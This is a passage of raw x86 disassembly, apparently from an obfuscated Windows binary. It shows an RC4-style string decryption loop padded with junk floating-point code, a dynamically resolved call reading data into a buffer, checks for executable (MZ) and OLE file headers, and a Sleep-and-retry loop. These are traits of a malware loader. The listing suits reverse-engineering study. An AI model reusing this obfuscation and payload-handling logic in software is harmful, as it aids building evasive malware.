movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bf0aa
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
fld qword [0x9a5250]
fstp qword [ebp - 0x6a8]
fld qword [0x9a5248]
fstp qword [ebp - 0x668]
fld qword [0x9a5240]
fstp qword [ebp - 0x638]
fld qword [0x9a5238]
fstp qword [ebp - 0x6f0]
fld qword [ebp - 0x6a8]
fadd qword [ebp - 0x6f0]
fstp qword [ebp - 0x6a8]
fld qword [ebp - 0x638]
fsub qword [ebp - 0x6f0]
fstp qword [ebp - 0x638]
fld qword [ebp - 0x668]
fadd qword [ebp - 0x6f0]
fstp qword [ebp - 0x668]
fld qword [ebp - 0x638]
fadd qword [ebp - 0x6f0]
fstp qword [ebp - 0x638]
fld qword [ebp - 0x6a8]
fcomp qword [ebp - 0x6f0]
fnstsw ax
test ah, 0x41
jne 0x4bf2ca
fld qword [ebp - 0x6f0]
fadd qword [ebp - 0x668]
fstp qword [ebp - 0x6f0]
fld qword [ebp - 0x6f0]
fsub qword [ebp - 0x668]
fstp qword [ebp - 0x6f0]
fld qword [ebp - 0x638]
fmul qword [ebp - 0x6a8]
fstp qword [ebp - 0x638]
fld qword [ebp - 0x668]
fadd qword [ebp - 0x6f0]
fstp qword [ebp - 0x668]
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
jmp 0x4bf312
fld qword [ebp - 0x668]
fsub qword [ebp - 0x638]
fstp qword [ebp - 0x668]
fld qword [ebp - 0x6f0]
fadd qword [ebp - 0x6a8]
fstp qword [ebp - 0x6f0]
fld qword [ebp - 0x6f0]
fadd qword [ebp - 0x6a8]
fstp qword [ebp - 0x6f0]
fld qword [ebp - 0x6f0]
fmul qword [ebp - 0x6a8]
fstp qword [ebp - 0x6f0]
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bf41a
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bf66d
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x6b4]
shl eax, 1
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x614]
movzx eax, byte [eax]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x65c], 0xb7
mov eax, dword [ebp - 0x6b4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x684], eax
mov eax, dword [ebp - 0x4e0]
add eax, dword [ebp - 0x684]
movzx eax, byte [eax]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6e4], 0xed
mov eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x65c]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x6fc]
shl eax, 4
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6f8]
or eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp - 0x6ac]
mov byte [ebp - 0x669], al
movzx eax, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp - 0x6f1], al
movzx eax, byte [ebp - 0x5fb]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x4e5]
add ecx, eax
mov byte [ebp - 0x4e5], cl
mov al, byte [ebp - 0x5fb]
add al, 1
mov byte [ebp - 0x5fb], al
movzx eax, byte [ebp - 0x4e5]
movzx ecx, byte [ebp - 0x4d5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5f1]
movzx ecx, byte [ebp - 0x4e5]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
movzx ecx, byte [ebp - 0x5f1]
mov al, byte [ebp + eax - 0x5e8]
mov byte [ebp + ecx - 0x5e8], al
movzx eax, byte [ebp - 0x5fb]
mov cl, byte [ebp - 0x6f1]
mov byte [ebp + eax - 0x5e8], cl
movzx eax, byte [ebp - 0x6f1]
movzx eax, byte [ebp + eax - 0x5e8]
movzx ecx, byte [ebp - 0x5e9]
add ecx, eax
mov byte [ebp - 0x5e9], cl
movzx eax, byte [ebp - 0x669]
movzx ecx, byte [ebp - 0x4e5]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x5fb]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
movzx ecx, byte [ebp - 0x5f1]
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx edx, byte [ebp - 0x4d5]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
movzx edx, byte [ebp - 0x5e9]
movzx edx, byte [ebp + edx - 0x5e8]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e8]
movzx ecx, byte [ebp + ecx - 0x5e8]
xor eax, ecx
mov byte [ebp - 0x5f1], al
mov al, byte [ebp - 0x669]
mov byte [ebp - 0x4d5], al
mov al, byte [ebp - 0x5f1]
mov byte [ebp - 0x6d9], al
cmp dword [ebp - 0x6b4], 0
jle 0x4bf8c0
mov eax, dword [ebp - 0x6b4]
mov cl, byte [ebp - 0x6d9]
mov byte [ebp + eax - 0x4c5], cl
fld dword [0x9a5234]
fstp dword [ebp - 0x69c]
fld dword [0x9a5230]
fstp dword [ebp - 0x660]
fld dword [0x9a4b80]
fstp dword [ebp - 0x630]
fld dword [ebp - 0x660]
fmul dword [ebp - 0x630]
fstp dword [ebp - 0x660]
fld dword [ebp - 0x660]
fmul dword [ebp - 0x630]
fstp dword [ebp - 0x660]
fld dword [ebp - 0x69c]
fmul dword [ebp - 0x630]
fstp dword [ebp - 0x69c]
fld dword [ebp - 0x660]
fld dword [ebp - 0x630]
fcompp
fnstsw ax
test ah, 5
jp 0x4bf96e
fld dword [ebp - 0x69c]
fadd dword [ebp - 0x630]
fstp dword [ebp - 0x69c]
fld dword [ebp - 0x630]
fadd dword [ebp - 0x660]
fstp dword [ebp - 0x630]
fld dword [ebp - 0x660]
fmul dword [ebp - 0x69c]
fstp dword [ebp - 0x660]
mov byte [ebp - 0x4bc], 0
jmp 0x4bf9a4
fld dword [ebp - 0x630]
fmul dword [ebp - 0x660]
fstp dword [ebp - 0x630]
fld dword [ebp - 0x69c]
fsub dword [ebp - 0x630]
fstp dword [ebp - 0x69c]
fld dword [ebp - 0x69c]
fadd dword [ebp - 0x630]
fstp dword [ebp - 0x69c]
jmp 0x4bf9d5
and dword [ebp - 0x714], 0
jmp 0x4bf9bc
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 9
jge 0x4bf9d5
mov eax, dword [ebp - 0x714]
mov byte [ebp + eax - 0x4c4], 0
jmp 0x4bf9af
lea eax, [ebp - 0x4c4]
push eax
mov ecx, dword [0x9daa1c]
call fcn.0044f2ad
mov dword [ebp - 0x4ac], eax
push 0
lea eax, [ebp - 0x4d4]
push eax
push dword [ebp - 0x4b8]
push dword [ebp - 0x4b4]
push dword [ebp - 0x224]
call dword [ebp - 0x4ac]
test eax, eax
je 0x4bfb1c
or dword [ebp - 0x718], 0xffffffff
mov byte [ebp - 0x71a], 0
mov byte [ebp - 0x719], 0
cmp dword [ebp - 0x4d4], 0x100
jbe 0x4bfaf6
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax]
cmp eax, 0x4d
jne 0x4bfa66
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax + 1]
cmp eax, 0x5a
jne 0x4bfa66
mov byte [ebp - 0x719], 1
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax]
cmp eax, 0xd0
jne 0x4bfab8
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax + 1]
cmp eax, 0xcf
jne 0x4bfab8
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax + 2]
cmp eax, 0x11
jne 0x4bfab8
mov eax, dword [ebp - 0x4b4]
movzx eax, byte [eax + 3]
cmp eax, 0xe0
jne 0x4bfab8
mov byte [ebp - 0x719], 1
mov dword [ebp - 0x718], 1
and dword [ebp - 0x720], 0
cmp dword [ebp - 0x718], 0
jne 0x4bfaf6
push dword [ebp - 0x4d4]
push dword [ebp - 0x4b4]
call fcn.004bb38d
pop ecx
pop ecx
mov dword [ebp - 0x720], eax
xor eax, eax
cmp dword [ebp - 0x720], 0x1000
sete al
mov byte [ebp - 0x71a], al
movzx eax, byte [ebp - 0x719]
test eax, eax
je 0x4bfb1c
movzx eax, byte [ebp - 0x71a]
test eax, eax
je 0x4bfb1c
cmp dword [ebp - 0x718], 0
jne 0x4bfb1c
mov byte [ebp - 0x209], 1
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x730], eax
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x730], 0
je 0x4bfb62
mov eax, dword [ebp - 0x72c]
mov byte [eax], 0
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x730]
dec eax
mov dword [ebp - 0x730], eax
jmp 0x4bfb34
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x728], eax
push dword [ebp - 0x728]
call fcn.00937371
pop ecx
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4bfb98
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4bb4fc
mov al, byte [ebp - 0x209]
pop edi
pop esi
pop ebx
leave
ret